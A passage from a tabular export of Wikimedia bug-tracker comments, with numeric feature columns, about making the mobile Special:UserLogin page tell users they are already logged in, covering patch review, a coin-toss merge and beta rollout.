**Attached**: {F12150}",Low,25.0,1383093660,1388431332.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-4b2mxuc52ewo5a775yq7,task_description,resolved,True,c3,1,False,False,True,-88,True,0.0,0.0,0.0,1.0,0.5,4.0,0.5,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,4.0,0.0,3.5,7.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,4.0,0.5,0.5,0.5,0.5,0.0,0.0,0.5,0.0,0.5,0.0,1.0,3.5,0.0,0.5,0.5,0.5,0.0,11.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.5,0.0,0.5,0.0,3.5,2.0,11.5,2.5,1.0,4.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,5.5,7.5,2.0,0.0,0.0,0.0,5.5,0.0,0.5,1.5,0.5,0.5,0.0,0.0,0.5,3.610294117647059,0.7058823529411764,"**Author:** CODE

**Description:**
Desktop screenshot

On the desktop sight, if I visit Special:UserLogin (such as through a link in a help page), but I'm already logged in, I now get a helpful message telling me that I am already authenticated. [See screenshot attached]

On mobile, I am given the normal login form, and no indication that I don't need to log in again. It would be nice if you just displayed the same warning message that gets displayed on desktop.

--------------------------
**Version**: unspecified
**Severity**: enhancement

**Attached**: {F12150}"
263951,Special:UserLogin does not inform you you're already logged in on mobile,"based on the design I'm fine going straight to stable, but I'm also fine with it sitting in beta for a week. No strong preference to rush it through.",,,1388432112,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,False,,,-79,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,21.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,21.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,3.5588235294117645,0.8235294117647058,"based on the design I'm fine going straight to stable, but I'm also fine with it sitting in beta for a week. No strong preference to rush it through."
263947,Special:UserLogin does not inform you you're already logged in on mobile,Quick note: This is going to beta first. Jared and Steven/Kenan please comment back from a product and design point of view if you are happy for this change to go to stable and I will make this so.,,,1388431423,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-79,True,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,16.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,14.0,2.0,7.0,9.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,5.0,16.0,7.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.6136363636363638,0.8636363636363636,Quick note: This is going to beta first. Jared and Steven/Kenan please comment back from a product and design point of view if you are happy for this change to go to stable and I will make this so.
263941,Special:UserLogin does not inform you you're already logged in on mobile,"Even if you can't modify the status setting you should be able to declare ""I am working on this."" In future I can also update the ASSIGNED status if you say that you are working on this.

Due to the fact you both worked on this patch I just had the awkward situation of having to merge 1 of 2 near identical patches and in the end did it by a coin toss. Apologies to M4tx - I hope you understand this was nothing against your patch!",,,1388431332,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-79,True,0.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,2.0,2.0,1.0,0.0,0.0,0.0,4.0,0.0,4.0,19.0,1.0,2.0,1.0,0.0,0.0,4.0,0.0,0.0,1.0,1.0,0.0,1.0,5.0,2.0,1.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,13.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,2.0,0.0,0.0,0.0,6.0,4.0,11.0,3.0,1.0,12.0,0.0,0.0,1.0,0.0,5.0,0.0,2.0,0.0,13.0,19.0,1.0,0.0,2.0,0.0,13.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,3.6526315789473682,0.7052631578947368,"Even if you can't modify the status setting you should be able to declare ""I am working on this."" In future I can also update the ASSIGNED status if you say that you are working on this.

Due to the fact you both worked on this patch I just had the awkward situation of having to merge 1 of 2 near identical patches and in the end did it by a coin toss. Apologies to M4tx - I hope you understand this was nothing against your patch!"
263939,Special:UserLogin does not inform you you're already logged in on mobile,"Change 104382 merged by jenkins-bot:
Show ""already logged-in"" notice at Special:UserLogin

https://gerrit.wikimedia.org/r/104382",,,1388431141,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,False,,,-79,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,13.0,17.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8695652173913043,"Change 104382 merged by jenkins-bot:
Show ""already logged-in"" notice at Special:UserLogin

GERRIT_URL"
263938,Special:UserLogin does not inform you you're already logged in on mobile,"Change 104378 abandoned by Jdlrobson:
Add ""You're already logged in"" information to Special:UserLogin

Reason:
This lost the coin toss.
https://gerrit.wikimedia.org/r/#/c/104382/ got merged instead so this patch is no longer needed.

Thank you so much for the patch though. There was no problem whatsoever with this code.

https://gerrit.wikimedia.org/r/104378",,,1388431130,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,False,,,-79,True,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,2.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,2.0,3.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,19.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.0,8.0,11.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.96875,0.765625,"Change 104378 abandoned by Jdlrobson:
Add ""You're already logged in"" information to Special:UserLogin

Reason:
This lost the coin toss.
URL got merged instead so this patch is no longer needed.

Thank you so much for the patch though. There was no problem whatsoever with this code.

GERRIT_URL"
263937,Special:UserLogin does not inform you you're already logged in on mobile,"@Jon, I'm not able to modify the status setting...",,,1388372468,,PHID-USER-wgpse4towjiaqbzotzgo,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,False,,,-79,True,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.083333333333333,1.0,"SCREEN_NAME, I'm not able to modify the status setting..."
263936,Special:UserLogin does not inform you you're already logged in on mobile,Guys if you want to fix a bug in future please use the ASSIGNED status and mark yourself as the assignee. This will help everyone involved.,,,1388370337,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-79,True,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,4.0,4.0,14.0,0.0,0.0,0.0,0.0,14.0,4.0,0.0,0.0,7.0,14.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.071428571428571,0.9285714285714286,Guys if you want to fix a bug in future please use the ASSIGNED status and mark yourself as the assignee. This will help everyone involved.
263932,Special:UserLogin does not inform you you're already logged in on mobile,"Ok, so now you have two patches for review coming from a Google Code-in task that wasn't even claimed officially by anybody. I have deleted the GCI task, you can continue the technical review here and in the patches.",,,1388339702,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-79,True,0.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,13.0,11.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,11.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,7.0,11.0,7.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.869565217391304,0.782608695652174,"Ok, so now you have two patches for review coming from a Google Code-in task that wasn't even claimed officially by anybody. I have deleted the GCI task, you can continue the technical review here and in the patches."
263924,Special:UserLogin does not inform you you're already logged in on mobile,"Change 104382 had a related patch set uploaded by Theopolisme:
Show ""already logged-in"" notice at Special:UserLogin

https://gerrit.wikimedia.org/r/104382",,,1388336160,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,False,,,-79,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,23.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.346153846153846,0.9230769230769231,"Change 104382 had a related patch set uploaded by Theopolisme:
Show ""already logged-in"" notice at Special:UserLogin

GERRIT_URL"
263918,Special:UserLogin does not inform you you're already logged in on mobile,"Change 104378 had a related patch set uploaded by M4tx:
Add ""You're already logged in"" information to Special:UserLogin

https://gerrit.wikimedia.org/r/104378",,,1388335351,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,False,,,-79,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,26.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,11.0,7.0,0.0,7.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.2592592592592595,0.9259259259259259,"Change 104378 had a related patch set uploaded by M4tx:
Add ""You're already logged in"" information to Special:UserLogin

GERRIT_URL"
263913,Special:UserLogin does not inform you you're already logged in on mobile,Screen looks great though.,,,1388299842,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-79,True,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6,1.0,Screen looks great though.
263907,Special:UserLogin does not inform you you're already logged in on mobile,It's not controversial it's just our standard practice to test things out in a beta mode first before pushing it to all our users.,,,1388299697,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-79,True,4.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,11.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,19.0,19.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.962962962962963,0.8518518518518519,It's not controversial it's just our standard practice to test things out in a beta mode first before pushing it to all our users.
263901,Special:UserLogin does not inform you you're already logged in on mobile,Is it necessary to limit this to the beta mode? It seems like just displaying something like http://i.imgur.com/MuL7w3I.png would be uncontroversial enough...Jon?,,,1388289181,,PHID-USER-wgpse4towjiaqbzotzgo,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,False,,,-79,True,0.0,4.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,15.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,15.0,4.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.384615384615385,0.8846153846153846,Is it necessary to limit this to the beta mode? It seems like just displaying something like URL would be uncontroversial enough...Jon?
263897,Special:UserLogin does not inform you you're already logged in on mobile,Understood. Thank you!,,,1388274093,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-79,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Understood. Thank you!
263894,Special:UserLogin does not inform you you're already logged in on mobile,Apologies for the confusion. I'm basically suggesting we try what Steven originally suggested in comment 0 but limit it to the beta mode of the site. The Echo button does inform you but that's not it's real purpose and it might not be noticeable.,,,1388263315,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-79,True,0.0,0.0,0.0,0.0,4.0,6.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,2.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,0.0,6.0,6.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,8.0,2.0,10.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,12.0,8.0,4.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.06,0.82,Apologies for the confusion. I'm basically suggesting we try what Steven originally suggested in comment 0 but limit it to the beta mode of the site. The Echo button does inform you but that's not it's real purpose and it might not be noticeable.
263892,Special:UserLogin does not inform you you're already logged in on mobile,"What I mean is that, after reading the discussion, it is unclear to me what is exactly the end result you want.

For instance, the subject says ""Special:UserLogin does not inform you you're already logged in on mobile""but then you say in Comment 9 ""Btw.. it actually /does/ inform you if you are logged in - an echo icon is in the top right corner.""

Surely I m reading too fast, but this is confusing to me, and it might be confusing to a new contributor landing here for the first time.",,,1388253997,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-79,True,0.0,0.0,0.0,1.0,0.5,6.0,4.5,0.0,0.0,1.0,3.0,0.5,0.0,0.0,0.0,3.0,0.0,6.5,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,9.0,0.5,2.5,1.5,4.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,2.5,0.0,0.0,0.0,7.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.5,1.5,2.0,6.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,9.0,9.0,2.5,0.0,2.0,0.0,9.0,0.0,1.0,2.0,1.5,1.5,0.0,0.0,0.0,3.659259259259259,0.8166666666666667,"What I mean is that, after reading the discussion, it is unclear to me what is exactly the end result you want.

For instance, the subject says ""Special:UserLogin does not inform you you're already logged in on mobile""but then you say in Comment 9 ""Btw.. it actually /does/ inform you if you are logged in - an echo icon is in the top right corner.""

Surely I m reading too fast, but this is confusing to me, and it might be confusing to a new contributor landing here for the first time."
263889,Special:UserLogin does not inform you you're already logged in on mobile,I think it's fine for it to replicate desktop as long as it is placed in the beta mode / alpha mode of the site first.,,,1388131170,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-79,True,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,18.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,4.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,14.0,18.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3214285714285716,0.8214285714285714,I think it's fine for it to replicate desktop as long as it is placed in the beta mode / alpha mode of the site first.
263883,Special:UserLogin does not inform you you're already logged in on mobile,"As long as the task is well defined, yes, this looks like a good GCI task.",,,1387915483,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-80,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,11.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.1052631578947367,0.8947368421052632,"As long as the task is well defined, yes, this looks like a good GCI task."
263879,Special:UserLogin does not inform you you're already logged in on mobile,Andre / Quim - good task for Google Code in 2013. Should be put into the beta mode of the site first.,,,1387912853,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-80,True,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,21.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.9166666666666666,Andre / Quim - good task for Google Code in 2013. Should be put into the beta mode of the site first.
263876,Special:UserLogin does not inform you you're already logged in on mobile,Btw.. it actually /does/ inform you if you are logged in - an echo icon is in the top right corner.,,,1387497900,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-80,True,0.0,0.0,0.0,4.0,0.0,9.0,4.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,4.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,13.0,13.0,4.0,0.0,0.0,0.0,13.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.4347826086956523,0.9130434782608695,Btw.. it actually /does/ inform you if you are logged in - an echo icon is in the top right corner.
263872,Special:UserLogin does not inform you you're already logged in on mobile,*** Bug 56023 has been marked as a duplicate of this bug. ***,,,1386626810,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-82,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 56023 has been marked as a duplicate of this bug. ***
263868,Special:UserLogin does not inform you you're already logged in on mobile,"Sure but you can still only be in one account at a time. :) Maybe redirecting to a page that prompts the user saying ""You are logged in as Jon, do you want to log in as another user"" would make sense?",,,1383157807,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-88,True,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,0.0,0.0,2.0,0.0,0.0,2.0,6.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,6.0,2.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,4.0,9.0,0.0,2.0,9.0,0.0,2.0,0.0,0.0,9.0,2.0,2.0,0.0,6.0,17.0,2.0,2.0,4.0,0.0,6.0,0.0,2.0,4.0,0.0,4.0,0.0,0.0,0.0,3.382978723404255,0.8297872340425532,"Sure but you can still only be in one account at a time. :) Maybe redirecting to a page that prompts the user saying ""You are logged in as Jon, do you want to log in as another user"" would make sense?"
263864,Special:UserLogin does not inform you you're already logged in on mobile,"(In reply to comment #5)
> I was just pointing out that many websites if you go to the login page whilst
> logged in they will redirect you to a user dashboard. Since we don't have
> this equivalent though I can understand a warning message may suffice.

